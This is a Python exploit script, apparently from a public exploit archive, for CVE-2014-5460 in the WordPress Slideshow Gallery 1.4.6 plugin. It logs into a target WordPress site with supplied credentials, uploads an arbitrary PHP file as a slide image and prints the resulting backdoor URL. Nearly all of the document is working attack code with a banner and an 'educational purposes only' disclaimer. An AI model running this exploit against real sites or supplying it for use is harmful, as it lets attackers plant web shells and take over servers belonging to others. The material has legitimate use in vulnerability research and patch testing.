WordPress Plugin Slideshow Gallery 1.4.6 – Arbitrary File Upload
#!/usr/bin/env python # # WordPress Slideshow Gallery 1.4.6 Shell Upload Exploit # # WordPress Slideshow Gallery plugin version 1.4.6 suffers from a remote shell upload vulnerability (CVE-2014-5460) # # Vulnerability discovered by: Jesus Ramirez Pichardo - http://whitexploit.blogspot.mx/ # # Exploit written by: Claudio Viviani - info@homelab.it - http://www.homelab.it # # # Disclaimer: # # This exploit is intended for educational purposes only and the author # can not be held liable for any kind of damages done whatsoever to your machine, # or damages caused by some other,creative application of this exploit. # In any case you disagree with the above statement,stop here. # # # Requirements: # # 1) Enabled user management slide # 2) python's httplib2 lib # Installation: pip install httplib2 # # Usage: # # python wp_gallery_slideshow_146_suv.py -t http[s]://localhost -u user -p pwd -f sh33l.php # python wp_gallery_slideshow_146_suv.py -t http[s]://localhost/wordpress -u user -p pwd -f sh33l.php # python wp_gallery_slideshow_146_suv.py -t http[s]://localhost:80|443 -u user -p pwd -f sh33l.php # # Backdoor Location: # # http://localhost/wp-content/uploads/slideshow-gallery/sh33l.php # # Tested on Wordpress 3.6, 3.7, 3.8, 3.9, 4.0 # # http connection import urllib, httplib2, sys, mimetypes # Args management import optparse # Error management import socket, httplib, sys # file management import os, os.path # Check url def checkurl(url): if url[:8] != "https://" and url[:7] != "http://": print('[X] You must insert http:// or https:// procotol') sys.exit(1) else: return url # Check if file exists and has readable def checkfile(file): if not os.path.isfile(file) and not os.access(file, os.R_OK): print '[X] '+file+' file is missing or not readable' sys.exit(1) else: return file # Get file's mimetype def get_content_type(filename): return mimetypes.guess_type(filename)[0] or 'application/octet-stream' # Create multipart header def create_body_sh3ll_upl04d(payloadname): getfields = dict() getfields['Slide[id]'] = '' getfields['Slide[order]'] = '' getfields['Slide[title]'] = 'h0m3l4b1t' getfields['Slide[description]'] = 'h0m3l4b1t' getfields['Slide[showinfo]'] = 'both' getfields['Slide[iopacity]'] = '70' getfields['Slide[type]'] = 'file' getfields['Slide[image_url]'] = '' getfields['Slide[uselink]'] = 'N' getfields['Slide[link]'] = '' getfields['Slide[linktarget]'] = 'self' getfields['Slide[title]'] = 'h0m3l4b1t' payloadcontent = open(payloadname).read() LIMIT = '----------lImIt_of_THE_fIle_eW_$' CRLF = '\r\n' L = [] for (key, value) in getfields.items(): L.append('--' + LIMIT) L.append('Content-Disposition: form-data; name="%s"' % key) L.append('') L.append(value) L.append('--' + LIMIT) L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % ('image_file', payloadname)) L.append('Content-Type: %s' % get_content_type(payloadname)) L.append('') L.append(payloadcontent) L.append('--' + LIMIT + '--') L.append('') body = CRLF.join(L) return body banner = """ $$$$$$\ $$\ $$\ $$\ $$\ $$ __$$\ $$ |\__| $$ | $$ | $$ / \__|$$ |$$\ $$$$$$$ | $$$$$$\ $$$$$$$\ $$$$$$$\ $$$$$$\ $$\ $$\ $$\ \$$$$$$\ $$ |$$ |$$ __$$ |$$ __$$\ $$ _____|$$ __$$\ $$ __$$\ $$ | $$ | $$ | \____$$\ $$ |$$ |$$ / $$ |$$$$$$$$ |\$$$$$$\ $$ | $$ |$$ / $$ |$$ | $$ | $$ | $$\ $$ |$$ |$$ |$$ | $$ |$$ ____| \____$$\ $$ | $$ |$$ | $$ |$$ | $$ | $$ | \$$$$$$ |$$ |$$ |\$$$$$$$ |\$$$$$$$\ $$$$$$$ |$$ | $$ |\$$$$$$ |\$$$$$\$$$$ | \______/ \__|\__| \_______| \_______|\_______/ \__| \__| \______/ \_____\____/ $$$$$$\ $$\ $$\ $$\ $$\ $$\ $$$$$$\ $$ __$$\ $$ |$$ | $$$$ |$$ | $$ | $$ __$$\ $$ / \__| $$$$$$\ $$ |$$ | $$$$$$\ $$$$$$\ $$\ $$\ \_$$ |$$ | $$ | $$ / \__| $$ |$$$$\ \____$$\ $$ |$$ |$$ __$$\ $$ __$$\ $$ | $$ | $$ |$$$$$$$$ | $$$$$$$\ $$ |\_$$ | $$$$$$$ |$$ |$$ |$$$$$$$$ |$$ | \__|$$ | $$ | $$ |\_____$$ | $$ __$$\ $$ | $$ |$$ __$$ |$$ |$$ |$$ ____|$$ | $$ | $$ | $$ | $$ | $$ / $$ | \$$$$$$ |\$$$$$$$ |$$ |$$ |\$$$$$$$\ $$ | \$$$$$$$ | $$$$$$\ $$\ $$ |$$\ $$$$$$ | \______/ \_______|\__|\__| \_______|\__| \____$$ | \______|\__|\__|\__|\______/ $$\ $$ | \$$$$$$ | \______/ W0rdpr3ss Sl1d3sh04w G4ll3ry 1.4.6 Sh3ll Upl04d Vuln. ============================================= - Release date: 2014-08-28 - Discovered by: Jesus Ramirez Pichardo - CVE: 2014-5460 ============================================= Written by: Claudio Viviani http://www.homelab.it info@homelab.it homelabit@protonmail.ch https://www.facebook.com/homelabit https://twitter.com/homelabit https://plus.google.com/+HomelabIt1/ https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww """ commandList = optparse.OptionParser('usage: %prog -t URL -u USER -p PASSWORD -f FILENAME.PHP [--timeout sec]') commandList.add_option('-t', '--target', action="store", help="Insert TARGET URL: http[s]://www.victim.com[:PORT]", ) commandList.add_option('-f', '--file', action="store", help="Insert file name, ex: shell.php", ) commandList.add_option('-u', '--user', action="store", help="Insert Username", ) commandList.add_option('-p', '--password', action="store", help="Insert Password", ) commandList.add_option('--timeout', action="store", default=10, type="int", help="[Timeout Value] - Default 10", ) options, remainder = commandList.parse_args() # Check args if not options.target or not options.user or not options.password or not options.file: print(banner) commandList.print_help() sys.exit(1) payloadname = checkfile(options.file) host = checkurl(options.target) username = options.user pwd = options.password timeout = options.timeout print(banner) url_login_wp = host+'/wp-login.php' url_admin_slideshow = host+'/wp-admin/admin.php?page=slideshow-slides&method=save' content_type = 'multipart/form-data; boundary=----------lImIt_of_THE_fIle_eW_$' http = httplib2.Http(disable_ssl_certificate_validation=True, timeout=timeout) # Wordpress login POST Data body = { 'log':username, 'pwd':pwd, 'wp-submit':'Login', 'testcookie':'1' } # Wordpress login headers with Cookie headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36', 'Content-type': 'application/x-www-form-urlencoded', 'Cookie': 'wordpress_test_cookie=WP+Cookie+check' } try: response, content = http.request(url_login_wp, 'POST', headers=headers, body=urllib.urlencode(body)) if len(response['set-cookie'].split(" ")) < 4: #if 'httponly' in response['set-cookie'].split(" ")[-1]: print '[X] Wrong username or password' sys.exit() else: print '[+] Username & password ACCEPTED!\n' # Create cookie for admin panel if 'secure' in response['set-cookie']: c00k13 = response['set-cookie'].split(" ")[6]+' '+response['set-cookie'].split(" ")[0]+' '+response['set-cookie'].split(" ")[10] else: c00k13 = response['set-cookie'].split(" ")[5]+' '+response['set-cookie'].split(" ")[0]+' '+response['set-cookie'].split(" ")[8] bodyupload = create_body_sh3ll_upl04d(payloadname) headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36', 'Cookie': c00k13, 'content-type': content_type, 'content-length': str(len(bodyupload)) } response, content = http.request(url_admin_slideshow, 'POST', headers=headers, body=bodyupload) if 'admin.php?page=slideshow-slides&Galleryupdated=true&Gallerymessage=Slide+has+been+saved' in content: print '[!] Shell Uploaded!' print '[+] Check url: '+host+'/wp-content/uploads/slideshow-gallery/'+payloadname.lower()+' (lowercase!!!!)' else: print '[X] The user can not upload files or plugin fixed :(((' except socket.timeout: print('[X] Connection Timeout') sys.exit(1) except socket.error: print('[X] Connection Refused') sys.exit(1) except httplib.ResponseNotReady: print('[X] Server Not Responding') sys.exit(1) except httplib2.ServerNotFoundError: print('[X] Server Not Found') sys.exit(1) except httplib2.HttpLib2Error: print('[X] Connection Error!!') sys.exit(1) |